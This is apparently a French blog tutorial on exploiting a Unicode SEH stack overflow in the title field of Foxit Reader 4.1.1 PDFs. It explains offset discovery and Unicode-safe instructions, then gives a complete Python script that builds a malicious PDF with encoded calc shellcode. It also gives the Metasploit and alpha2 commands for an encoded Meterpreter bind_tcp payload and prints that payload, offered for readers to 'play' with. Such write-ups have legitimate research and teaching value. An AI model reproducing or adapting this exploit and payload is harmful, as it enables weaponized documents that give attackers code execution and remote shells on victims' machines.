[Exploitation] Foxit Reader 4.1.1 : Unicode SEH exploitation (1)
Salut!
Aujourd’hui je vais vous parler de l’exploitation de Foxit Reader 4.1.1. En effet, ce lecteur PDF est susceptible à un stack-based buffer overflow dans le champ du titre d’un PDF. La faille a été corrigée dans la version 4.2.
J’ai basé mon analyse sur celle faite par Sud0 sur le site de corelancod3r car je voulais avant tout jouer avec l’unicode :) (et puis un article français en plus ne fera pas de mal ;)).
Let’s go!
Préparatifs
Pour triggerer cette vulnerabilitée, on a 2 pré-requis :
- DisplayDocTitle à true
- un titre plus que long
Comme à notre habitude, on génère un pattern metasploit :
1
msf/tools/pattern_create 10000 > msfpattern.txt
Au lieu d’utiliser le PoC présenté il y a quelques jours car je ne trouvais pas pratique d’éditer le fichier à chaque fois pour faire mes ajustement, j’ai préférer me générer mes PDFs avec Python et ReportLab.
Il faut tout d’abord patcher votre reportlab pour ajouter la directive DisplayDocTitle :
1
2
3
4
5
6
7
8
9
10
--- ./pdfdoc.py 2010-11-17 15:30:00.572930001 +0100
+++ /usr/lib/python2.6/dist-packages/reportlab/pdfbase/pdfdoc.py 2010-11-17 15:37:21.662930001 +0100
@@ -702,6 +702,7 @@
HideWindowUI=checkPDFBoolean,
FitWindow=checkPDFBoolean,
CenterWindow=checkPDFBoolean,
+ DisplayDocTitle=checkPDFBoolean,
NonFullScreenPageMode=checkPDFNames(*'UseNone UseOutlines UseThumbs UseOC'.split()),
Direction=checkPDFNames(*'L2R R2L'.split()),
ViewArea=checkPDFNames(*'MediaBox CropBox BleedBox TrimBox ArtBox'.split()),
Une fois tout celà patché, on est fin prêt à générer notre fichier PDF avec le script suivant :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python
# author : m_101
import sys
from reportlab.pdfgen import canvas
from reportlab.lib.units import inch
if len(sys.argv) < 2:
print "Usage : %s output" % sys.argv[0]
exit(1)
# filename
filename = sys.argv[1]
# get msfpattern
fp = open('msfpattern.txt', 'r')
msfpattern = fp.read()
fp.close()
print 'Creating ' + filename + ' exploit file'
# create pdf
pdf = canvas.Canvas(filename)
# document characteristics
pdf.setTitle(msfpattern)
pdf.setSubject('Foxit 4.1.1 unicode title overflow')
pdf.setAuthor('m_101')
pdf.setViewerPreference('DisplayDocTitle', 'true') # compulsory to trigger the vuln
# define a large font
pdf.setFont("Helvetica", 80)
# say hello (note after rotate the y coord needs to be negative!)
pdf.drawString(inch, 10*inch, "Not hacked :)")
pdf.showPage()
pdf.save()
print "Have fun :)"
Triggering the vuln’
Une fois notre fichier généré, on lance Foxit dans ImmunityDbg et Foxit crash à l’ouverture du fichier :
On remarque que notre seh handler contient une chaîne de type 00xx00xx : de l’unicode!!!
Pour trouver l’offset, on utilise le plugin de corelancod3r : pvefindaddr
On écrase donc nseh au bout de 540 octets. Avant de continuer, une petite base sur l’exploitation unicode.
Exploiting with unicode payload
Pendant longtemps, les gens ont pensés que l’exploitation unicode était impossible et Chris Anley a montré le contraire :). Le trick dans l’exploitation d’un bof unicode est d’utiliser des instructions de 1 octet pour padder au besoin et aller avec des instructions de 3 octets. Par exemple :
1
2
5a pop edx
00 41 00 add [ecx], al
Ou encore :
1
2
3
6a 00 push byte 0x0
58 pop ax
00 45 00 add [di+0x0], al
On peut voir que dans les deux cas on doit avoir un pointeur valide ou sinon nous aurons un “Access Violation” ou SIGSEV. On peut considérer une instruction comme nop dès lors qu’elle n’influe pas sur notre exploitation à proprement parler. Les instructions de 3 bytes montrées peuvent servir à patcher la mémoire aussi.
Pour l’exploitation avec une payload unicode, on ne peut tout simplement pas faire de JMP directs. On a des POP, PUSH, XOR, ADD, RET et quelques autres instructions. On oublie les conditions On peut également bridger et re-écrire directement dans la mémoire : on contrôle des pointeurs! :) Le principe évoqué dans Building IA32 ‘Unicode-Proof’ Shellcodes est de patcher la mémoire pour reconstruire notre shellcode ^^.
Au final, les deux payloads vont se rencontrer et on continue notre exécution dans notre payload reconstruite. Le principe est illustré dans The art of exploitation au chapitre 0x691.
Vous pouvez ainsi commencer à coder en full alphanumeric puis patcher avec la technique ci-dessus. Bon évidemment coder une full payload en unicode est contre-productif, on va utiliser des encodeurs style alpha2 :).
Pour plus de détails, je vous invite à lire les papers bien écrits et détaillés que j’ai mis en liens à la fin de l’article.
Il nous faut trouver une addresse compatible unicode et qui soit aussi des instructions. Lancer la commande suivante sous ImmunityDbg:
1
!pvefindaddr p1
Ensuite filtrant uniquement ceux qui nous intéressent (je suis sous Linux avec une VM VirtualBox) :
1
cat ppr1.txt | grep -i unicode | egrep -vi "(maybe|ansi)" > ppr-unicode.txt
Perso’ j’ai choisi l’addresse suivante : 0x004d002f
1
2
2f das
00 4d 00 add [ecx], cl
Il nous faut donc une adresse valide pour ECX ou on aura droit à un AV.
1
2
59 pop ecx
00 41 00 add byte [ecx], al
On va ici utiliser l’encodeur de metasploit :
1
2
3
4
5
6
m_101@m_101-laptop:~/repos/msf$ ./msfpayload windows/exec CMD=calc R | ./msfencode -e x86/alpha_mixed -t raw | ./msfencode -b "\x00" -e x86/unicode_mixed BufferRegister=ESP -t raw
[*] x86/alpha_mixed succeeded with size 456 (iteration=1)
[*] x86/unicode_mixed succeeded with size 1038 (iteration=1)
TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBDIGvJ9I6FyD6L4QNB6PYQ9Q9PIPIQ9Q9Q9PIPIPIQ3PCQ3PCQ3PCP7PQPZQZQ1B8PPP0Q1P0Q1BKQ1Q1B1P2Q1Q2P2Q2Q2P0Q2Q2Q1Q2PXB0P8Q1Q2PuPJPIPIBLPMP8PKP9Q7D0Q7BPQ5B0PQD0PNBIPJQ5Q6PQPJBRB1PtPNPkPBPrPPP0PLPKB0B2Q6PlPLPKPQPBQ5Q4PNBKPCPBPDBHPDPOPHP7B1PZQ4C6Q5PaPIPoPEQQPKPpPLBLPGPLPQPqPCPLQ7QbQ6PLPQP0PJPaPJPoQ6PmQ7D1PKD7Q8BBPLP0PQQ2Q6P7PLPKPBD2PBP0PLPKB1B2Q7PLQ6C1PHB0PNBKPQB0B1PhPOD5POP0Q4P4Q3QjQ6PaPNP0PFP0PNPkPCPxPDPXPNPkPPPXPEPpQ6PaQ9Q3PIQcPGPLPPQ9PLPKPFQDPLPKQ5PQPJPvPEQQPKPOQ5QQQ9B0PLPlPJC1Q8POPDPMQ3P1PKCGQ7Q8PKPPB1PeQ8QdQ7QcB1BMPKPHPEPkB1BMQ4C4Q2PUPMP2Q2D8PLPKQ6P8PDQTPEPQPNP3Q2PFPNPkPDPLB0PKPNBKQ3C8Q7PlPCP1PNP3PNBKPFBDPLPKQ3P1PNP0POCIPQQDB1P4Q7QDPQPKB1PKB0PaQ2PyPCQZQ6P1PKPOQ9D0PQPHPQPOPBQjPNPkQ7QRPJPKPKP6Q3BMPQPzPGBQPNBMPOD5POPIPEB0PCP0Q3P0PPPPPQPxB0P1PLPKPPBOPMPWPIPoQ8B5POPKPJPPPHP5PLBBQ2D6PCB8PLPfPLPUPOPMPMPMPKPOPNP5PGPLQ7PvQ3PLQ4PJPOBPPIPkPMP0PDP5PGPuPOPKPGP7PEPCQ4P2PPBOPQQjPCP0PBQcPIBOPKPeQ2Q3B0PaB0BLPEP3Q7PpPEQJQ1Q1AA
Pour l’encodeur metasploit ou alpha2, il faut padder le buffer et reajuster pour que le registre choisi pointe directement sur le premier octet de la payload unicode. Une fois cette chose faite, on relance notre sploit.
On se rend compte qu’on a un “Access Violation” à cause d’un pointeur non valide, or on sait que ECX est valide :).
On change donc le premier U en a (0x55 => 0x61) pour avoir un pointeur valide.
Notre registre pointe désormais sur notre payload unicode et nos pointeurs sont tous valides, pawn!! :)
The Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/python
# author : m_101
import sys
from reportlab.pdfgen import canvas
from reportlab.lib.units import inch
if len(sys.argv) < 2:
print "Usage : %s output" % sys.argv[0]
exit(1)
# filename
filename = sys.argv[1]
# 59 pop ecx
# 00 41 00 add byte [ecx], al
nseh = "\x59\x41" # nops
# 2f das
# 00 4d 00 add [ebx+0x0], cl
seh = "\x2f\x4d" # pop pop ret
# get the interesting values
fixaddr = "\x5a" # 5a pop edx ; we pop buffer address
fixaddr += "\x41" # 00 41 00 add [ecx+0x0], al ; nop
fixaddr += "\x5c" # 5c pop esp ; we pop nseh address
fixaddr += "\x41" # 00 45 00 add [ecx+0x0], al ; nop
# fix base address to make it point to the beginning of shellcode
fixaddr += "\x61" # 61 popadd
fixaddr += "\x41" # 00 45 00 add [ecx+0x0], al ; nop
fixaddr += "\x41" # 41 inc ecx
fixaddr += "\x41" # 00 45 00 add [ecx+0x0], al ; nop
# ecx = 0x00350035 (writable address after popadd)
addr = '55N' # 35 00 35 00 4e xor eax, 0x4e003500
addr += 'A' # 00 41 00 add [ecx+0x0], al
# payload
# encoders : x86/alpha_mixed + x86/unicode_upper
calc = 'TaYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBCYGuIJHIFyCEJTB8PPQIQ9PIQ9Q9Q9PIPIPIQ9Q9PCQ3Q3Q3Q3PCP7PQPZPjQ1B8PPP0Q1P0Q1PkQ1Q1PQP2Q1Q2P2PBPBP0Q2PBQ1Q2PXB0P8Q1Q2D5PJPIQ9PlPICHPKP9Q7BPPGPpQ3P0Q5P0POD9PKPUQ4PqPNP2PEP4PNPkPFP2B0P0PLPKPFP2PDPLPLPKPFP2PBP4PNPkPPD2Q7QHPDPOPLCGPBPjQ6PFPPP1Q9PoQ5PaPIB0PLPlQ7PLPEP1B1BLPDQ2Q4PlB1P0PJPaPJBOQ6PmQ5B1PJC7PID2PJB0B1Q2PCBGPNPkB0PRPFPpPNPkPCBRPGPLPFC1PNP0PNPkQ3D0PCQ8PLQ5PIB0PCQ4Q2BJQ3P1PNP0Q2PpPNBKB0PHPEQ8PLPKPBPxQ5BPPGPqPKPcPKQCQ5PlB0Q9PLPKQ7PDPLPKPFC1PNP6Q4PqPKPOQ5PaQ9B0PNPLPOP1Q8POQ4PMQ3P1PKBWQ7PHPKB0Q3Q5PKPDPGD3B1BMQ8PxQ5BKPCPMPGPTB1PePJQ2PQQ8PNBKQ6P8PEPtPGPqPKQSB0QVPNBKPFPlPBPkPLPKPCQXPEPLQ6C1PIPCPNBKQ6PdPLPKQ5B1PJPpPLQ9Q7P4PFPDB1P4PCPkPQPKQ3B1Q3C9PCBJPBD1PKPOPMP0PBCHPCPoQ3BJPLPKQ2P2PJPKPLPFQ3PmQ3QJPEPQPLPMPMPUPLCIQ7PpQ7D0Q7D0B0PPPBQ8PFPQPNPkPPBOPMPWQ9PoQ9PEPOPKPLP0Q8P5Q9P2B0QFQ5P8PNPFPJP5POPMPMPMPIBOPKQUPEPlQ7QfQ3PLQ7QjPMB0PIBKPKB0B0CEPCP5PMBKQ7P7PEPCPDP2B0PoPPPjPCP0PBD3PKPOPNP5Q3PSQ3PQB0PlPCB3Q5B0PFQZQ1Q1AA'
#
trigger = "A" * 540
title = trigger + nseh + seh + fixaddr + addr + calc
print 'Creating ' + filename + ' exploit file'
# create pdf
pdf = canvas.Canvas(filename)
# document characteristics
pdf.setTitle(title)
pdf.setSubject('Foxit 4.1.1 unicode title overflow')
pdf.setAuthor('m_101')
pdf.setViewerPreference('DisplayDocTitle', 'true') # compulsory to trigger the vuln
# define a large font
pdf.setFont("Helvetica", 80)
# say hello (note after rotate the y coord needs to be negative!)
pdf.drawString(inch, 10*inch, "Not hacked :)")
pdf.showPage()
pdf.save()
print "Have fun :)"
Ce script génère un fichier pdf avec le lancement d’une calculatrice :
Si on veut plus qu’une calculatrice, l’encodeur metasploit n’est pas adapté car il génère de trop grande payload. L’encodeur alpha2 original est plus efficace. Voilà la payload meterpreter pour ceux qui veulent jouer ^^ :
1
2
3
m_101@m_101-laptop:~/repos/msf$ ./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -b ‘\x00′ -t raw > ~/data/exploit/meterpreter_tcp.bin
m_101@m_101-laptop:~/data/exploit$ ./alpha2 --unicode esp < meterpreter_tcp.bin
TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBLsI9WNNHnnwJrpXZYNHYqdNDZTX1nkQORcWWYtnQT7ZoLC47LOzBIMWBNrJyKmNkdcQj5D6NSbdhgRUke73LaqxnLkl6WWKjWOBZVoNMzhLpMYkSsYYdJUxOOYtV3YZm3n1hvP7mFsPykEm0mKnKTnNotNwlIKLRLSYLLKLYnKVFNNINGhKlNQlOd0lj1i4wKJ2TNy5vLobGW5qqoTOlonjpDM4lUOKrJQRC5N4JkL2ZWwLmmOm9mCPNsrLJ9PnLRXsnzTSgLKNX7lnFGoiORwo5V4BtyoLiLkpxSDR5SpQoqJwol2OkcN5kW1XBmWqQM7JZMgVm9hOnOLylHmgiKopiuqz7SopiNmBOZLOkvrYKpzhP3kWU3MN74vX2lQK6Mi93nXNMrMRsPRu4LNcHURMYYKlol2reedBofBQUQUpxeXaYnz68Z3VChss8jPkoDTQx9vDqnXit9P9KZ0OPWKsCJs6W0t7sbL5MLi7LyjtiO4pzKTLjqSKxW9tBySWKEQLVlR7LjOONmsNKpevOLfhMBZzZJ2LMxoKQBTnyqwlKEQ4myxl354fEsQ1Qs6XRXmQUPfO288ZObFOZklntNUbOosmqMZOLjV2JJz4PPQZc3pVoSf4LQKMjKw8ptJlCTmYp6YaW2MK6A
Changez le premier U en a et tout ira bien :).
Have fun,
m_101
Ressources
- The venetian exploit
- Practical Win32 unicode exploitation
- Building IA32 ‘Unicode-Proof’ Shellcodes
- Writing ia32 alphanumeric shellcodes
- Alpha2 encoder
- Peter Van Eeckhoutte’s Exploit writing tutorial part 7 : unicode from 0x00410041 tocalc
Exploits and other write ups
- Foxit Reader 4.1.1 Stack Overflow Exploit - Egghunter Mod
- Foxit Reader v4.1.1 Stack Overflow Vulnerability (PoC)
- Sud0 write-up